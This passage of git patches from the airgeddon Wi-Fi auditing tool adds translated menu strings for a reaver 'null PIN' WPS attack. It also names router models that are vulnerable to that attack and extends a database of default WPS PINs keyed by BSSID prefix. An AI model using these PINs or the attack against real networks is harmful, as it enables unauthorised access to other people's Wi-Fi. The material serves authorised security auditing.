(${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Keine Notwendigkeit, es erneut zu berechnen" arr["TURKISH",493]="Arcadyan algoritması PIN'i zaten bu hedef için hesaplanmıştır (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Tekrar hesaplamaya gerek yok" - arr["ENGLISH",494]="13. Offline PIN generation using algorithms and database" - arr["SPANISH",494]="13. Generación offline de PINs con algoritmos y base de datos" - arr["FRENCH",494]="13. Génération offline de PINs avec les algorithmes et la base de données" - arr["CATALAN",494]="13. Generació offline de PINs amb algoritmes i base de dades" - arr["PORTUGUESE",494]="13. Gerar PINs offline com algoritmos e com o banco de dados" - arr["RUSSIAN",494]="13. Офлайн генерация PIN-кода, используя алгоритмы и базу данных" - arr["GREEK",494]="13. Offline δημιουργία PIN με χρήση δίαφορων αλγορίθμων και έτοιμης βάσης δεδομένων" - arr["ITALIAN",494]="13. Generazione offline di PIN con algoritmi e database" - arr["POLISH",494]="13. Generowanie offline kodów PIN z algorytmami i bazą danych" - arr["GERMAN",494]="13. Offline Generierung von PINs mit Algorithmen und Datenbank" - arr["TURKISH",494]="13. Algoritmaları ve veritabanını kullanarak çevrimdışı PIN üretimi" + arr["ENGLISH",494]="14. Offline PIN generation using algorithms and database" + arr["SPANISH",494]="14. Generación offline de PINs con algoritmos y base de datos" + arr["FRENCH",494]="14. Génération offline de PINs avec les algorithmes et la base de données" + arr["CATALAN",494]="14. Generació offline de PINs amb algoritmes i base de dades" + arr["PORTUGUESE",494]="14. Gerar PINs offline com algoritmos e com o banco de dados" + arr["RUSSIAN",494]="14. Офлайн генерация PIN-кода, используя алгоритмы и базу данных" + arr["GREEK",494]="14. Offline δημιουργία PIN με χρήση δίαφορων αλγορίθμων και έτοιμης βάσης δεδομένων" + arr["ITALIAN",494]="14. Generazione offline di PIN con algoritmi e database" + arr["POLISH",494]="14. Generowanie offline kodów PIN z algorytmami i bazą danych" + arr["GERMAN",494]="14. Offline Generierung von PINs mit Algorithmen und Datenbank" + arr["TURKISH",494]="14. Algoritmaları ve veritabanını kullanarak çevrimdışı PIN üretimi" arr["ENGLISH",495]="Offline PIN generation menu" arr["SPANISH",495]="Menú de generación offline de PINs" @@ -8314,6 +8314,42 @@ function language_strings() { arr["GERMAN",621]="${pending_of_translation} Es ist nicht möglich, airgeddon in der aktuellen tmux-Sitzung auszuführen. Diese Sitzung wird in den Hintergrund gesendet und eine neue Sitzung wird erstellt, in der airgeddon gestartet wird" arr["TURKISH",621]="${pending_of_translation} Mevcut tmux seansında airgeddon çalıştırmak mümkün değildir. Bu oturum arka plana gönderilecek ve airgeddon'un başlatılacağı yeni bir tmux oturumu oluşturulacak" + arr["ENGLISH",622]="13. (reaver) Null PIN attack" + arr["SPANISH",622]="13. (reaver) Ataque de PIN nulo" + arr["FRENCH",622]="${pending_of_translation} 13. (reaver) Attaque par PIN" + arr["CATALAN",622]="${pending_of_translation} 13. (reaver) Atac de PIN nul" + arr["PORTUGUESE",622]="${pending_of_translation} 13. (reaver) Ataque de PIN nulo" + arr["RUSSIAN",622]="${pending_of_translation} 13. (reaver) Атака нулевого PIN" + arr["GREEK",622]="${pending_of_translation} 13. (reaver) Null PIN επίθεση" + arr["ITALIAN",622]="${pending_of_translation} 13. (reaver) Attacco PIN nullo" + arr["POLISH",622]="${pending_of_translation} 13. (reaver) Atak null PIN" + arr["GERMAN",622]="${pending_of_translation} 13. (reaver) Null-PIN-Angriff" + arr["TURKISH",622]="${pending_of_translation} 13. (reaver) Boş PIN saldırısı" + + arr["ENGLISH",623]="You have reaver installed (v${reaver_version}). You meet the version requirement to perform null PIN integrated reaver attack (minimum version v${minimum_reaver_nullpin_version}). Script can continue..." + arr["SPANISH",623]="Tienes reaver instalado (v${reaver_version}). Cumples con el requisito de versión para realizar el ataque de PIN nulo integrado con reaver (versión minima v${minimum_reaver_nullpin_version}). El script puede continuar..." + arr["FRENCH",623]="${pending_of_translation} Reaver est installé (v${reaver_version}). Cette version est compatible avec l'attaque par PIN (version minimale: ${minimum_reaver_nullpin_version}). Le script peut continuer..." + arr["CATALAN",623]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac de PIN nul integrat amb reaver (versió mínima v${minimum_reaver_nullpin_version}). El script pot continuar..." + arr["PORTUGUESE",623]="${pending_of_translation} Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque de PIN nulo com reaver (versão mínima v${minimum_reaver_nullpin_version}). O script pode continuar..." + arr["RUSSIAN",623]="${pending_of_translation} У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки нулевого PIN (минимальная версия v${minimum_reaver_nullpin_version}). Скрипт может продолжить работу..." + arr["GREEK",623]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_nullpin_version}), για την επίθεση null PIN με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." + arr["ITALIAN",623]="${pending_of_translation} È stato installato reaver (v${reaver_version}). Soddisfi il requisito della versione per realizzare l'attacco PIN nullo integrato con reaver (versione minima v${minimum_reaver_nullpin_version}). Lo script può continuare..." + arr["POLISH",623]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}). Spełnia on wymagania dotyczące wersji, aby wykonać atak null PIN (wersja minimalna v${minimum_reaver_nullpin_version}). Skrypt może kontynuować..." + arr["GERMAN",623]="${pending_of_translation} Reaver ist installiert (v${reaver_version}). Sie erfüllen die Versionsvoraussetzung, um den Null-PIN-Angriff auszuführen, der mit Reaver integriert ist (min Version v${minimum_reaver_nullpin_version}). Das Skript kann fortfahren..." + arr["TURKISH",623]="${pending_of_translation} Reaver sisteminizde kurulu (v${reaver_version}). Boş PIN entegre reaver saldırısını gerçekleştirmek için sürüm gereksinimini karşılıyorsunuz (minimum sürüm v${minimum_reaver_nullpin_version}). Script devam edebilir..." + + arr["ENGLISH",624]="You have reaver installed (v${reaver_version}), but not required version. To perform null PIN integrated reaver attack you must have at least version v${minimum_reaver_nullpin_version}" + arr["SPANISH",624]="Tienes reaver instalado (v${reaver_version}), aunque no la versión requerida. Para realizar el ataque de PIN nulo integrado con reaver has de tener al menos la versión v${minimum_reaver_nullpin_version}" + arr["FRENCH",624]="${pending_of_translation} Reaver est installé (v${reaver_version}) mais cette version n'est pas compatible avec l'attaque par PIN. Version minimale requise: v${minimum_reaver_nullpin_version}" + arr["CATALAN",624]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}), encara que no és la versió requerida. Per realitzar l'atac de PIN nul integrat amb reaver has de tenir almenys la versió v${minimum_reaver_nullpin_version}" + arr["PORTUGUESE",624]="${pending_of_translation} Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque de PIN nulo com reaver integrado você precisa ter pelo menos a versão v${minimum_reaver_nullpin_version}" + arr["RUSSIAN",624]="${pending_of_translation} У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки нулевого PIN у вас должна быть по крайней мере v${minimum_reaver_nullpin_version}" + arr["GREEK",624]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση null PIN με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_nullpin_version}" + arr["ITALIAN",624]="${pending_of_translation} È stato installato reaver (v${reaver_version}), ma non la versione richiesta. Per realizzare l'attacco PIN nullo integrato con reaver devi avere almeno la versione v${minimum_reaver_nullpin_version}" + arr["POLISH",624]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}), ale nie wymaganą wersję. Aby zrealizować atak null PIN zintegrowany z programem reaver musisz mieć co najmniej wersję v${minimum_reaver_nullpin_version}" + arr["GERMAN",624]="${pending_of_translation} Reaver ist installiert (v${reaver_version}), jedoch nicht die erforderliche Version. Um den Null-PIN-Angriff mit Reaver zu integrieren, müssen Sie mindestens die Version v${minimum_reaver_nullpin_version} haben" + arr["TURKISH",624]="${pending_of_translation} Reaver sisteminizde kurulu (v${reaver_version}), ancak sürüm uygun değil. Boş PIN entegre reaver saldırısını gerçekleştirmek için minimum sürüm olan ${minimum_reaver_nullpin_version} olmalıdır" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From b4f74fdfdb85a685f203593557d2a576fc701393 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 14 Apr 2019 22:56:43 +0200 Subject: [PATCH 128/148] Added hint about WPS null PIN attack --- airgeddon.sh | 2 +- language_strings.sh | 12 ++++++++++++ 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 33bd75e4d..0459c8e2b 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -321,7 +321,7 @@ declare option_hints=(445 250 448 477 591) declare evil_twin_hints=(254 258 264 269 309 328 400 509) declare evil_twin_dos_hints=(267 268 509) declare beef_hints=(408) -declare wps_hints=(342 343 344 356 369 390 490) +declare wps_hints=(342 343 344 356 369 390 490 625) declare wep_hints=(431 429 428 432 433) declare enterprise_hints=(112 332 483 518) diff --git a/language_strings.sh b/language_strings.sh index 7ea314b74..935921178 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -8350,6 +8350,18 @@ function language_strings() { arr["GERMAN",624]="${pending_of_translation} Reaver ist installiert (v${reaver_version}), jedoch nicht die erforderliche Version. Um den Null-PIN-Angriff mit Reaver zu integrieren, müssen Sie mindestens die Version v${minimum_reaver_nullpin_version} haben" arr["TURKISH",624]="${pending_of_translation} Reaver sisteminizde kurulu (v${reaver_version}), ancak sürüm uygun değil. Boş PIN entegre reaver saldırısını gerçekleştirmek için minimum sürüm olan ${minimum_reaver_nullpin_version} olmalıdır" + arr["ENGLISH",625]="Null PIN attack is pretty fast and achieve the password almost instantly but only a few access points are vulnerable. Some of them are \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" and \"ZTE H298N\"" + arr["SPANISH",625]="El ataque de PIN nulo es muy rápido y consigue la contraseña instantáneamente pero solo unos pocos puntos de acceso son vulnerables. Algunos conocidos son \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" y \"ZTE H298N\"" + arr["FRENCH",625]="${pending_of_translation} L'attaque par PIN nul est très rapide et obtient le mot de passe instantanément, mais seuls quelques points d'accès sont vulnérables. Certains sont \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" et \"ZTE H298N\"" + arr["CATALAN",625]="${pending_of_translation} L'atac PIN nul és molt ràpid i aconsegueix la contrasenya instantàniament però només uns pocs punts d'accés són vulnerables. alguns són \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" + arr["PORTUGUESE",625]="${pending_of_translation} O ataque de PIN nulo é muito rápido e obtém a senha instantaneamente, mas apenas alguns pontos de acesso são vulneráveis. Alguns são \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" + arr["RUSSIAN",625]="${pending_of_translation} Атака по нулевому PIN-коду очень быстрая и мгновенно получает пароль, но уязвимы только несколько точек доступа. Некоторые \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" и \"ZTE H298N\"" + arr["GREEK",625]="${pending_of_translation} Η μηδενική επίθεση PIN είναι πολύ γρήγορη και παίρνει τον κωδικό αμέσως, αλλά μόνο λίγα σημεία πρόσβασης είναι ευάλωτα. Κάποιοι είναι \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" και \"ZTE H298N\"" + arr["ITALIAN",625]="${pending_of_translation} L'attacco PIN nullo è molto veloce e ottiene la password all'istante, ma solo pochi punti di accesso sono vulnerabili. Alcuni lo sono \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" + arr["POLISH",625]="${pending_of_translation} Atak null kodu PIN jest bardzo szybki i natychmiast otrzymuje hasło, ale tylko kilka punktów dostępu jest podatnych na ataki. Niektóre są \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" + arr["GERMAN",625]="${pending_of_translation} Der Null-PIN-Angriff ist sehr schnell und erhält das Kennwort sofort, aber nur wenige Zugangspunkte sind anfällig. Einige sind \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" und \"ZTE H298N\"" + arr["TURKISH",625]="${pending_of_translation} Boş PIN saldırısı çok hızlıdır ve şifreyi anında alır, ancak yalnızca birkaç erişim noktası korunmasızdır. Bazı \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" ve \"ZTE H298N\"" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From 7db9f9cb40984951edf25868b9e377bbfcc4533e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 14 Apr 2019 22:59:45 +0200 Subject: [PATCH 129/148] Fixed some french automated translations --- language_strings.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 935921178..2c70f2d57 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -8316,7 +8316,7 @@ function language_strings() { arr["ENGLISH",622]="13. (reaver) Null PIN attack" arr["SPANISH",622]="13. (reaver) Ataque de PIN nulo" - arr["FRENCH",622]="${pending_of_translation} 13. (reaver) Attaque par PIN" + arr["FRENCH",622]="${pending_of_translation} 13. (reaver) Attaque par PIN nul" arr["CATALAN",622]="${pending_of_translation} 13. (reaver) Atac de PIN nul" arr["PORTUGUESE",622]="${pending_of_translation} 13. (reaver) Ataque de PIN nulo" arr["RUSSIAN",622]="${pending_of_translation} 13. (reaver) Атака нулевого PIN" @@ -8328,7 +8328,7 @@ function language_strings() { arr["ENGLISH",623]="You have reaver installed (v${reaver_version}). You meet the version requirement to perform null PIN integrated reaver attack (minimum version v${minimum_reaver_nullpin_version}). Script can continue..." arr["SPANISH",623]="Tienes reaver instalado (v${reaver_version}). Cumples con el requisito de versión para realizar el ataque de PIN nulo integrado con reaver (versión minima v${minimum_reaver_nullpin_version}). El script puede continuar..." - arr["FRENCH",623]="${pending_of_translation} Reaver est installé (v${reaver_version}). Cette version est compatible avec l'attaque par PIN (version minimale: ${minimum_reaver_nullpin_version}). Le script peut continuer..." + arr["FRENCH",623]="${pending_of_translation} Reaver est installé (v${reaver_version}). Cette version est compatible avec l'attaque par PIN nul (version minimale: ${minimum_reaver_nullpin_version}). Le script peut continuer..." arr["CATALAN",623]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac de PIN nul integrat amb reaver (versió mínima v${minimum_reaver_nullpin_version}). El script pot continuar..." arr["PORTUGUESE",623]="${pending_of_translation} Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque de PIN nulo com reaver (versão mínima v${minimum_reaver_nullpin_version}). O script pode continuar..." arr["RUSSIAN",623]="${pending_of_translation} У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки нулевого PIN (минимальная версия v${minimum_reaver_nullpin_version}). Скрипт может продолжить работу..." @@ -8340,7 +8340,7 @@ function language_strings() { arr["ENGLISH",624]="You have reaver installed (v${reaver_version}), but not required version. To perform null PIN integrated reaver attack you must have at least version v${minimum_reaver_nullpin_version}" arr["SPANISH",624]="Tienes reaver instalado (v${reaver_version}), aunque no la versión requerida. Para realizar el ataque de PIN nulo integrado con reaver has de tener al menos la versión v${minimum_reaver_nullpin_version}" - arr["FRENCH",624]="${pending_of_translation} Reaver est installé (v${reaver_version}) mais cette version n'est pas compatible avec l'attaque par PIN. Version minimale requise: v${minimum_reaver_nullpin_version}" + arr["FRENCH",624]="${pending_of_translation} Reaver est installé (v${reaver_version}) mais cette version n'est pas compatible avec l'attaque par PIN nul. Version minimale requise: v${minimum_reaver_nullpin_version}" arr["CATALAN",624]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}), encara que no és la versió requerida. Per realitzar l'atac de PIN nul integrat amb reaver has de tenir almenys la versió v${minimum_reaver_nullpin_version}" arr["PORTUGUESE",624]="${pending_of_translation} Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque de PIN nulo com reaver integrado você precisa ter pelo menos a versão v${minimum_reaver_nullpin_version}" arr["RUSSIAN",624]="${pending_of_translation} У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки нулевого PIN у вас должна быть по крайней мере v${minimum_reaver_nullpin_version}" From 3fbc26b76db9d08f79daaaefcc541b4a05b0155f Mon Sep 17 00:00:00 2001 From: JBalanza Date: Mon, 15 Apr 2019 08:10:53 +0200 Subject: [PATCH 130/148] Updated WPS pin database --- known_pins.db | 5 +++-- pindb_checksum.txt | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/known_pins.db b/known_pins.db index 71d141606..1afa92847 100644 --- a/known_pins.db +++ b/known_pins.db @@ -138,7 +138,7 @@ function set_pin_database() { PINDB["14A9E3"]="00288729 03617984 00265744 00344463" PINDB["14B968"]="51321086" PINDB["14CC20"]="12310319 52394775" - PINDB["14D64D"]="44686871 59185239 46020383 20700737 64535203 25434668 62538893 61151765 54951600" + PINDB["14D64D"]="44686871 59185239 46020383 20700737 64535203 25434668 62538893 61151765 54951600 53856999" PINDB["14D6D4"]="31008167" PINDB["14DAE9"]="81103980" PINDB["17AD1E"]="12345670" @@ -388,7 +388,7 @@ function set_pin_database() { PINDB["CC7B35"]="17481960 17503488" PINDB["CC96A0"]="51191535 12345670 16118416 12349838 12349982" PINDB["CCB255"]="97354833 61041165 58473955 46264848 60977045 00082778" - PINDB["D0AEEC"]="12263813 36831678 43419012 46275288 49570724 58441640 67791088 76871559 63220926 23970472 04325093 35041054 31433273 97855996 11248729 52217388 59432265 77485625 06235307 78597235 92276337 41496541 73534136 36925025 82225524 53269867 06267124 50405732 30085084 60858108 11199083 99731281 65186206 13226442" + PINDB["D0AEEC"]="12263813 36831678 43419012 46275288 49570724 58441640 67791088 76871559 63220926 23970472 04325093 35041054 31433273 97855996 11248729 52217388 59432265 77485625 06235307 78597235 92276337 41496541 73534136 36925025 82225524 53269867 06267124 50405732 30085084 60858108 11199083 99731281 65186206 13226442 10295175 26019178 43008827 50256495" PINDB["D0AEEE"]="75277048" PINDB["D0D412"]="16538061 16702738 18355604 88202907 73767053 43297917 19756967 13409708 11161189 11915140 12749355 13588106 14145629 24100489 42497868 47148826 77828491" PINDB["D42122"]="00187558" @@ -431,6 +431,7 @@ function set_pin_database() { PINDB["F0842F"]="93869577" PINDB["F084C9"]="12345670" PINDB["F43E61"]="12345670 47158382 69382161 18625790" + PINDB["F43E62"]="12345670" PINDB["F4C714"]="79072205" PINDB["F4EC38"]="32066968 26599625 05181667 99195038 18674095 48555524 12345678 25933291 48291477 45266065 66683407 82188184 86697934 11542216 62887485 91726681 41185315 96781593 09165847 04898702 42768777 23380622 67971862 11288879 03419724 72344071 19634173 95048147 51660567 52594809 82853600 05884889 44947477 44762810 25575583 85091153 75913038 50413812 62884785 15970039 67556366 18741452" PINDB["F4F26D"]="60384164 36308729 13454050 68280048 62718943 56769814" diff --git a/pindb_checksum.txt b/pindb_checksum.txt index c46cb3616..533eaf299 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -40663f927ff9b991a67f580e26b18eb7 +eaca313939d2c19320dbbf20d224832e From f33880db569d56a6bc64a11c4304a4c6693aa248 Mon Sep 17 00:00:00 2001 From: JBalanza Date: Mon, 15 Apr 2019 08:14:08 +0200 Subject: [PATCH 131/148] Updated WPS pin database --- known_pins.db | 17 +++++++++-------- pindb_checksum.txt | 2 +- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/known_pins.db b/known_pins.db index 1afa92847..f149196b5 100644 --- a/known_pins.db +++ b/known_pins.db @@ -2,7 +2,7 @@ #Title........: known_pins.db #Description..: This is a WPS PIN database for routers that generate generic passwords. #Author.......: v1s1t0r -#Date.........: 20190412 +#Date.........: 20190415 #Bash Version.: 4.2 or later #Set PIN database. Keys are the first 6 bssid digits and are ordered @@ -56,7 +56,7 @@ function set_pin_database() { PINDB["001DD6"]="11677672" PINDB["001E2A"]="12345670" PINDB["001EE5"]="04387411" - PINDB["001F1F"]="58227046" + PINDB["001F1F"]="58227046 85521162" PINDB["001F9F"]="59762454 74673841 83712630" PINDB["001FA4"]="12345670" PINDB["001FCE"]="14169809 91261960 15624697" @@ -133,6 +133,7 @@ function set_pin_database() { PINDB["107BEF"]="38163289" PINDB["10BEF5"]="30543362" PINDB["10BF48"]="04032052" + PINDB["10C61F"]="22643223" PINDB["10FEED"]="18382501 00246330 96238936 08825270 93878845 57275062" PINDB["14144B"]="36286034" PINDB["14A9E3"]="00288729 03617984 00265744 00344463" @@ -206,7 +207,7 @@ function set_pin_database() { PINDB["4E26D4"]="51217563" PINDB["50465D"]="83010910 46540010 21101021 51504472 01101027 64214306" PINDB["5067F0"]="20064525 66026402 12608065 12204786" - PINDB["5404A6"]="69923326" + PINDB["5404A6"]="69923326 31028325" PINDB["5422F8"]="12345670" PINDB["5465DE"]="65979754" PINDB["546EFC"]="02917092" @@ -252,7 +253,7 @@ function set_pin_database() { PINDB["6A96BF"]="73357643" PINDB["6AA8E4"]="51016128 51011727 51099442" PINDB["6AC06F"]="44574886 36433124 36715725 34052648 44547886" - PINDB["6AC714"]="32179323 32060003" + PINDB["6AC714"]="32179323 32060003 25032918" PINDB["6ACBA8"]="48385923" PINDB["6CFDB9"]="11171409" PINDB["6F3AC8"]="72895443" @@ -320,13 +321,13 @@ function set_pin_database() { PINDB["9897D1"]="07266881 10705513 85713642 29342273 84280848 63201048 30726437 73691365 34474242 18297492 61969063 15848789 28230274" PINDB["98DED0"]="12345678" PINDB["98F537"]="13415679" - PINDB["98FC11"]="21421112 99756666 33617503" + PINDB["98FC11"]="21421112 99756666 33617503 55132909" PINDB["9C9726"]="06699437" PINDB["9CD24B"]="73185321 68109165 00000001 13419622" PINDB["9CD643"]="39194282" PINDB["A00BBA"]="00000000" PINDB["A02187"]="92442559" - PINDB["A021B7"]="39149138 41252147 80324560 82581507 25815078 22813503 11352464 47624313 92442559 81121496 43454044 86559256 33440279 15880208 53134424 72218013 01874341 43135479 51920104 26515274 84361455 71202358 12345679" + PINDB["A021B7"]="39149138 41252147 80324560 82581507 25815078 22813503 11352464 47624313 92442559 81121496 43454044 86559256 33440279 15880208 53134424 72218013 01874341 43135479 51920104 26515274 84361455 71202358 12345679 01318104" PINDB["A0648F"]="51327330" PINDB["A08E78"]="62306157" PINDB["A0AB1B"]="44384494" @@ -356,7 +357,7 @@ function set_pin_database() { PINDB["B8AE86"]="37376826" PINDB["BC1401"]="49847925" PINDB["BC75D6"]="37211202" - PINDB["BC7670"]="59515135" + PINDB["BC7670"]="59515135 63431919" PINDB["BC9680"]="34412916" PINDB["BCAABB"]="12345678" PINDB["BCF685"]="48782265 21464065 46264848" @@ -370,7 +371,7 @@ function set_pin_database() { PINDB["C0AC54"]="12345670" PINDB["C0C1C0"]="78985933 04840954 96405628 63797435 27905814 01101110 64382913" PINDB["C0F8DA"]="51542252" - PINDB["C43DC7"]="82234515 63753349 20388560 20205287" + PINDB["C43DC7"]="82234515 63753349 20388560 20205287 51419981" PINDB["C46E1F"]="11695059 73307334" PINDB["C4E984"]="72914908" PINDB["C528D2"]="95685656" diff --git a/pindb_checksum.txt b/pindb_checksum.txt index 533eaf299..ac447267a 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -eaca313939d2c19320dbbf20d224832e +70f9eaa3e3bffd9055adfc72ca012153 From 0786042add3a584737032c0df9cd254764ef8bb6 Mon Sep 17 00:00:00 2001 From: JBalanza Date: Mon, 15 Apr 2019 08:24:43 +0200 Subject: [PATCH 132/148] Updated WPS pin database --- known_pins.db | 28 ++++++++++++++++++++-------- pindb_checksum.txt | 2 +- 2 files changed, 21 insertions(+), 9 deletions(-) diff --git a/known_pins.db b/known_pins.db index f149196b5..08d5a09af 100644 --- a/known_pins.db +++ b/known_pins.db @@ -23,6 +23,7 @@ function set_pin_database() { PINDB["000AEB"]="41236079" PINDB["000B3B"]="40053707" PINDB["000B85"]="70066647" + PINDB["000C43"]="54768642" PINDB["000CC3"]="47392717 12345670" PINDB["000CF1"]="30447028" PINDB["000CF6"]="49659948" @@ -37,7 +38,7 @@ function set_pin_database() { PINDB["001915"]="12345670 63396638 00123457 41174722" PINDB["001918"]="12345670" PINDB["001970"]="12345670 64637129 22310298" - PINDB["001A2B"]="15624697 16495265 88478760 77775078 51340865 21143892 18836486 12454389" + PINDB["001A2B"]="15624697 16495265 88478760 77775078 51340865 21143892 18836486 12454389 01234567" PINDB["001A3F"]="54063945 34214183" PINDB["001AA9"]="31957199" PINDB["001AEF"]="12345670" @@ -129,7 +130,9 @@ function set_pin_database() { PINDB["0C54A5"]="82585297" PINDB["0C722C"]="80554448" PINDB["0C96BF"]="12345670" + PINDB["0C96E6"]="12345678" PINDB["100D7F"]="53172297" + PINDB["105F06"]="58829431" PINDB["107BEF"]="38163289" PINDB["10BEF5"]="30543362" PINDB["10BF48"]="04032052" @@ -168,6 +171,7 @@ function set_pin_database() { PINDB["22BCF2"]="28981572" PINDB["2400BA"]="23071841" PINDB["240995"]="10201480" + PINDB["241FA0"]="12345678" PINDB["28107B"]="46264848 20172527 21464065" PINDB["28285D"]="66202240" PINDB["285FDB"]="08007117 00009980" @@ -211,7 +215,7 @@ function set_pin_database() { PINDB["5422F8"]="12345670" PINDB["5465DE"]="65979754" PINDB["546EFC"]="02917092" - PINDB["54BEF7"]="19280066" + PINDB["54BEF7"]="19280066 82585297" PINDB["54D46F"]="11199083 99731281" PINDB["54E6FC"]="53525659 66394662 41942826 93464239 96517062 00846363 53473226 14204968" PINDB["586D8F"]="47158382 69382161 67387953 37110802 43059089 68045753" @@ -223,7 +227,7 @@ function set_pin_database() { PINDB["5C571A"]="46577450" PINDB["5CD998"]="11554424 67554409 22630964" PINDB["5CF96A"]="54353640" - PINDB["60E327"]="36743025 56163926 20102043 23956544 34125335 83476532 86227728 09845237 59642114 31486811 26790732 08791320 24890687 09981331 48122726 38142178" + PINDB["60E327"]="36743025 56163926 20102043 23956544 34125335 83476532 86227728 09845237 59642114 31486811 26790732 08791320 24890687 09981331 48122726 38142178 47477445" PINDB["623DFF"]="52029288" PINDB["6253D4"]="21884603" PINDB["626BD3"]="25415001 73609605 72931806" @@ -303,13 +307,15 @@ function set_pin_database() { PINDB["84C9B2"]="84257123 12345670 27786598 28037286 44163334" PINDB["880355"]="18575675" PINDB["88252C"]="35642596 03526859" + PINDB["88E274"]="25643981" PINDB["88E3AB"]="00502207" PINDB["8C0C22"]="22263896" PINDB["8C0CA3"]="02991172 40371211 71259987 82079541 28233275 58565704 22547121 25811612 55573532 19236833 21942103 16630230 27429498 38517804 63167314 15750143 79350379 77984513 79845133 73709271 88235322 12274869 82327121 41197126 63299984 51505262 04766278 12106264 22247322 91144560" PINDB["8CA982"]="18625790" PINDB["8CCA32"]="71259987" + PINDB["8CEBC6"]="00000000" PINDB["905C44"]="71756837" - PINDB["90C792"]="96603086 02716985 38225505" + PINDB["90C792"]="96603086 02716985 38225505 85398573" PINDB["90E6BA"]="17035419" PINDB["90F652"]="95817149 20917784 56738209 59820000 31315036 65723081 85438996 87883282 26555898 01715224 31581431 61296879 15094148 26412948 91090430 31718851 51979850 56339420 59955467 78110830 91191229 23619128 44538811 64836157 76556098 09834811 44938161 12345670 51161484 70231540 80335092 94966503 96932407 93661171 09489530 64776835 57644660 33046518 42823551 71083490 62530248 47081116 43701742 49759051 73964759 81431472 13496654 80777229 02325385 31969529 59020905" PINDB["90F656"]="44632267" @@ -340,6 +346,7 @@ function set_pin_database() { PINDB["A8D3F7"]="08593399 31013628 98011193 69216664 33109893 15392275" PINDB["A8F94B"]="28612919" PINDB["AA8DD3"]="03053447" + PINDB["AABBCC"]="76334693" PINDB["AC220B"]="20172527" PINDB["ACE87B"]="77502896" PINDB["AE6240"]="39184412" @@ -351,6 +358,7 @@ function set_pin_database() { PINDB["B4749F"]="23659391" PINDB["B60D75"]="19309972" PINDB["B6B0D6"]="59686873" + PINDB["B869F4"]="61596986" PINDB["B89BC9"]="41613849" PINDB["B89BCB"]="41613849" PINDB["B8A386"]="60973375 20172527 19217581 49730449 76229909 13830724 19951683" @@ -373,10 +381,11 @@ function set_pin_database() { PINDB["C0F8DA"]="51542252" PINDB["C43DC7"]="82234515 63753349 20388560 20205287 51419981" PINDB["C46E1F"]="11695059 73307334" - PINDB["C4E984"]="72914908" + PINDB["C4E984"]="72914908 79016018" PINDB["C528D2"]="95685656" PINDB["C81760"]="12345678" PINDB["C83A35"]="28818885 01756401 11195207 11203124 11210085 11214809 11215042 11213840 11194569 11195764 11214885 11216643 05365852 48343763 61724242 12345678 60641687 15002648 61436800 18698800 02814087 38015687 23664173 62047043" + PINDB["C83DD4"]="12345670" PINDB["C85195"]="13113889" PINDB["C86000"]="46264848 66916468" PINDB["C86C87"]="53488954 42566212 71033884 83961984 40172910 04337706 40309125 41152256 43468379" @@ -393,8 +402,9 @@ function set_pin_database() { PINDB["D0AEEE"]="75277048" PINDB["D0D412"]="16538061 16702738 18355604 88202907 73767053 43297917 19756967 13409708 11161189 11915140 12749355 13588106 14145629 24100489 42497868 47148826 77828491" PINDB["D42122"]="00187558" - PINDB["D46E0E"]="43285632" + PINDB["D46E0E"]="43285632 64843018" PINDB["D47BB0"]="14550911 98852413 